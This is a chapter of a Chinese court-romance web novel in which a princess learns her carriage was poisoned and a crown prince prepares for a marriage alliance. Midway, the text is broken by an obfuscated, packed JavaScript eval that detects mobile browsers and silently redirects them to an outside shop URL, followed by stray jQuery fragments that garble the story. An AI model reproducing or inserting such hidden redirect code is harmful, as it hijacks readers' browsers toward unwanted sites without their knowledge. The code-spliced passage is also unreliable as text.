文趣网 > 其他小说 > 太子妃今天偷看到了吗 > 5. 被糟蹋了
    言缨说完,车内短暂地陷入了沉默,还是她主动开口:“我不在的这两天,到底发生了什么?”

    “我们的队伍被这伙匪徒冲散后,我和师兄都被几个高手缠住,待我们脱困,你已经不在马车里。”顾念说道。

    “待我们重整队伍后,立即朝他们山寨发动反击,目的主要是寻你。我本以为你被他们绑回了寨子里,但剿匪后才发现,他们寨子负责绑人的小队一直没有回寨里。我们把匪徒交予官府后,就一直在那日事发地附近搜寻你的踪迹。直到今日天亮前。”秦雪河说到这里,看向顾念,示意她继续说后面的情况。

    “我在山脚下捡到了你掉的东西,”顾念说罢从身上摸出一个掩鬓递给言缨,“应该是你被劫持后无意落下的,之后就发了信号通知师兄汇合。”

    言缨惊讶道:“信号弹是师姐你发的?是不是在酉时?”

    “嗯,应该是那时候,你怎么知道?”顾念见她反应奇怪,顺着她的话问道。

    言缨忽然伸手搂住顾念,在她脸颊上猛亲了一口,发出“啵”的一声。路人看到还以为他们是恩爱的少年夫妻,纷纷掩面偷笑。

    顾念脸颊都被她亲红了,按住她防止她继续作乱,嗔道:“没个正形。”

    “师姐,你是我的救命恩人。”言缨想起夜里那惊险的一幕,像小狗似的眼巴巴地看着顾念。

    “此话怎讲?”顾念宠溺地挑起言缨的下巴笑道。她长相英气,乍看之下还以为是飘逸洒脱的江湖少侠,笑起来更是俊逸不凡,引得路边女子注目不止。

    “那时候我差点被守卫发现,要不是你的信号弹把他们支开,我真不知道会不会被抓到。”言缨解释道。

    顾念道:“那你准备怎么报答我?”

    言缨故作羞涩,夹着嗓子说:“唯有以身相许。”

    顾念提醒:“心肝儿,听说你已许了人家。”

    言缨嫌弃道:“那不中用的男人,我休了他便是。”

    “咳咳。”秦雪河出声提醒。

    两人一唱一和地闹得高兴,却忘了车上还坐着个直愣愣的男人。见师兄一脸正经,姐妹二人更是笑作一团,一时间车内满是快活的气息。

    *

    言缨嘴里那个不中用的男人,从她离开后就一直静静地睁着眼躺在床上,动也没动。

    其实她力道不算重,不到半个时辰,他身上的限制就已经解了。但是他心烦得很,根本睡不着。

    那女子,她怎么敢!

    陆怀策急匆匆地赶回来,做样子地敲了两下门就推门而入。

    “殿下,我回来了,刚才我……”陆怀策气还没喘匀,进屋就看到裴元澈床铺凌乱,衣衫不整地躺在那里,脖颈下方红了一片,不知道在想些什么,立刻收了声。

    “……”

    “殿下……您、您这是怎么了?”陆怀策还从未见过他这样,吓得有点结巴。

    “她拿玉佩跑了。”裴元澈失神地躺在那,嘴里吐出这几个字。

    陆怀策瞬间明白了“她”是指谁,别苑里可没有别的娇客。他不可置信地挪动脚步凑近了看,发现自家太子衣襟还有一点血迹。

    “她……她不会还把您给……”糟蹋了?陆怀策还没说出最后三个字,就被他家太子一个眼刀怼了回去。这怪不得他啊,此情此景,加上太子那幽怨的眼神,谁能不想歪了。

    “她身手不赖,是我疏于防备了。”裴元澈现在没心情跟陆怀策耍嘴皮子,只是说出自己的结论。

    “……糟了!”陆怀策消化着太子的话,之后忽然想起了什么,懊悔大叫。

    “……还有什么比这更糟的事?”裴元澈叹了口气,他现在就觉得头很痛,闭着眼睛捏着眉心缓解。

    陆怀策道:“回来的时候,经过城镇,属下好像看见那姑娘了!我还以为长得漂亮的姑娘看起来都差不多,而且属下也没想到她能逃走,所以当时觉得是我看错了。那时她还跟两位公子在马车上玩闹,好像挺高兴的,跟在这儿的时候面相有些不同。”

    “罢了。”裴元澈想起那女子的面容,仅仅两次见面,她是没笑过。她说急着成亲,可她那狂野的性子,不知是哪个没福的男人要受着了。

    不过,这些与他无关。反正他已经记下她的容貌,待会儿让画像师画下来,之后派人慢慢搜寻就好。

    他决定先不想这事,坐起身来好整以暇地问陆怀策:“事情办得怎么样?”

    陆怀策自顾自地找了张椅子坐下,开口道:“按照劫匪所说的,属下去找了他们老巢,结果半路得知,州府已经把他们的人收押了。之后属下便去州府监狱审了一轮,”他困得打了个呵欠,继续道,“果然背后有人。”

    陆怀策从怀里掏出一张纸,是一张画像,递给裴元澈后继续道:“据他们二当家说,和他定下契约的就是此人。”

    裴元澈看了一眼画像,是一张全身像,上面的人穿着罩袍戴着兜帽,除了一双眼睛,全都捂得严严实实。他问:“其他线索呢?”

    陆怀策摇头道:“和他交易的人极为小心,付了一成定钱,说若事成,一个月后当面给他们剩余的九成。”

    “一个月?”裴元澈觉得奇怪,为什么要等这么久?

    “是,不过属下已记下了交易地点,若这条线咱们还继续查,到时候再安排人去和这蒙面人交易,必能查到更多线索,”陆怀策说出他的打算后,又小心翼翼地问道,“这事跟那个姑娘有关,咱们还继续查吗?”

    裴元澈道:“查,既然劫匪是受人指使,说明背后的人可能也是冲着玉佩去的。至于那个女子,也要加紧搜寻,让暗探去查。”

    “是,属下明白。”陆怀策正色道。

    裴元澈按着疼痛不止的额头,开口赶人:“明白了还不走。”

    “殿下,还有一事……礼部派人来催,和亲使团不日就要到了。”陆怀策虽然知道他现在心情很差,但这才是正事。太子这段时间因寻玉佩的事,婚事日程本就一拖再拖,现在再不动身,恐怕婚礼日期都要往后推。

    和亲是以结姻亲来捆绑两国关系,实现利益互换的权宜之计。裴元澈虽对此不以为然,但此举对他却不无好处。

    太子被太多人盯着,各方势力都想往他枕边送人,借此登上东宫这艘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797050|210533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大船。

    裴元澈不会任人摆布,此番答应和亲,正是因为他需要一个可掌控的人当他的太子妃。他国送来的女子,在大梁无根无基,正合他意。只要她能配合在人前与他扮作恩爱,她是什么人都无所谓。

    “知道了。”裴元澈慢条斯理地整理衣衫,目光却无意中落在言缨留下的草书上。

    “那您的意思?”陆怀策心说,祖宗,您倒是给个准话啊。

    “明日启程。”裴元澈却在想,若有一日逮住那个有毒的女人,定要与她好好算算账。

    *

    “你是说,有人在我那辆马车里下毒?”言缨惊道。

    一行人到了驿站,准备休整一番,明日再出发。

    顾念擅长使毒,她拿出一小块布料递给言缨:“这是从你之前坐的马车上裁下来的。”

    言缨接过,看不出什么异常。她正想拿近了闻一下,就被顾念拍了一下手。

    “别闻!”顾念大喝道。

    言缨吓了一跳,把布料扔到一边,问道:“这是什么毒?”

    “是安魂香,闻起来跟一般的熏香很像,以前曾用于安神助眠,但用量有极其严格的限制,用多了会长眠不醒,后来就被朝廷管控了。此毒发作慢,所以可能刚上路的时候我们都没察觉。”顾念解释道。

    言缨又问:“师姐,那你是怎么发现的?”

    顾念说道:“我们去找你的时候,见你乘的那辆马车停在路边,没有打斗的痕迹。以你的身手,不会那么轻易被人劫走。师兄便怀疑你是被人下了药,之后我仔细查了一下马车,发现里面的布料都被熏上了安魂香。”

    言缨听完面色凝重了些,一时却又想不出什么人能给自己下毒。

    这时秦雪河安排好一切,推门进来,见到那块染毒的布料和二人的神情,便明白了,开口道:“你都知道了?”

    言缨愁眉苦脸地看向秦雪河:“师兄,我想不明白,下毒是为何?有人不想让我去和亲?”

    “恰恰相反,下毒的人是怕你跑了。”秦雪河知道迷晕她的人是想让她没机会半路逃掉,但言缨心思率直,自然不懂官场之人那套弯弯绕绕的想法,而且下毒的人也没料到和亲使团也有人敢劫。

    “可我是愿意去北梁和亲的啊。”言缨不理解,难道她表现得还不够明显吗。

    秦雪河戳戳她的头,耳提面命道:“但是别人可不知道你的心思,何况自古以来和亲就是苦差,谁会相信有人愿意去邻国当人质?不然为什么这次不在宗室女之中选人,反而选定你这个刚被陛下收为义女的公主?”

    “阿缨,要不你还是别去了,现在后悔还来得及,我听说北梁太子可不是什么好对付的。”顾念听秦雪河这么说才明白此事危险,她不舍得被她从小护着长大的小师妹孤身犯险,弄不好说不定连命都送了。

    “不,这件事,我必须去。”言缨坚决地说道。因为只有她知道,在离开长安前,皇帝给了她一道密令。知晓皇族秘密却潜逃,她大概会被朝廷通缉到地老天荒,一旦如此师傅的事她就永远没有机会查了。

    现在的她已经没有退路。